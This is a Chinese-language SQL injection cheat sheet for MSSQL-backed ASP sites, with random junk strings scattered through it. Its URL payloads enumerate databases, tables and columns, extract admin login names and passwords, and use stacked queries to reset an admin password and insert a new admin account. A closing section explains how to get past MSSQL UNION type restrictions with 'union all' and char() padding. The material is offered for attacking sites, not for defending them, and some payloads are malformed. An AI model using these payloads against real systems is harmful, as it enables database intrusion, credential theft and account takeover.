爆库:# v0 p8 ]/ P: N" G. ^# m
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
0 I) ~) u6 i" C4 \SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.4 V9 v# c' B8 u7 R! t+ c
爆下一个库:/ v" e7 r P6 N1 M0 [# s7 o. \
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
# q1 g! L0 `. J/ V
, ]6 S3 X& K( [' u爆表:
" M K4 p- L8 U hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--$ L' `) G# [4 {2 W2 A1 m) R5 J
8 Y' e9 f* w" `$ v' G0 S% b
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.2 ?! t0 L2 l# Z3 O2 d- U+ }2 q
# x/ H- o/ R+ S6 I# h. H爆下一个表
; T5 J0 z, N2 s& t h$ C" P, ^; n2 ?http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--! H6 K. }+ K* n8 b
' P0 F; ?+ S9 N3 g( G( V2 I e# X
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
) H0 W6 D2 a( i% w$ o
! w, }: u5 {' w) {& Q u3 U f2 ~& {3 A/ H7 i
* Y w0 L5 L: |" W' x
爆字段:
B3 p" D, C8 r' Jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
( [- ^9 u4 R2 |3 t2 e( R# r/ V* F+ K c3 k8 w6 u
爆下一个字段
1 W% f0 o; k& l2 ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--5 X" ?) m4 R5 ]# q
5 g2 M9 A. ~8 a5 Q3 R5 U
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--4 |2 l" o- c4 l* ?: X, k0 W
5 w4 |4 ^6 H, o) E) ~- w
7 B) D! P( ?8 c1 ~+ o爆字段里的内容5 ], _/ C" u. k2 c! J4 Z& J, m% ^
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--5 u- l9 z' d# d `% A L
* O5 L; H$ R; P) Yhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
5 r3 k* R6 k! L8 U' v& [$ @. D; z3 L, a0 ~' d4 E) \
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
! S2 U5 z' t& N9 x
/ ]# b6 c" g" W% b- P7 `, i% E' A( V' Ehttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--" B6 T: S' L, C, f; L" j% M
( q1 Y! z, R& i$ q8 M) A" l更新字段里的内容0 A! J8 G" Y& R* b$ y
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'-- B4 r# l7 _% i# e) P
5 A% f/ X. c" m* w' P
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--' Q* A2 Q1 {, X. N7 L
* I- j1 j- c+ T0 u1 u
Z k* X, A) H& j3 J- q; b
T l: x" p0 }; Y! [1 f5 |" ] 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
. e3 w3 {3 B; O% A 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
& V. S7 x6 [; L4 N U 第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。( h# U; T. T1 q& p7 k
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
0 [: L' b3 ~2 C% }7 ]3 D" q# o J7 D0 z9 O% \1 W- M
突了了大部份限制的语句& ?& ^; V( Z. w. m8 x
and 1=2 union all select char(49),char(50),null,null;--
' y! @5 w1 S. T) |4 ]0 u
, e6 E5 H* y7 B
! l4 e4 t, H3 X# k4 l. r _null也可以正常执行,不过没有回显,不好判断回显的列数。1 ]) E, P$ Y) R' r( b0 g
一般union遇到问题都是有text或者ntext字段,image的很少遇到
% [* Z* }2 q9 E+ ~2 V# o( X. V6 z2 H* g! ~5 p, }
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟- W. {, u9 O; \7 y0 H' u# e
, c! J: X% Z' w8 [1 R2 [% E) f
7 X: U4 s3 b) y5 X/ R- u y |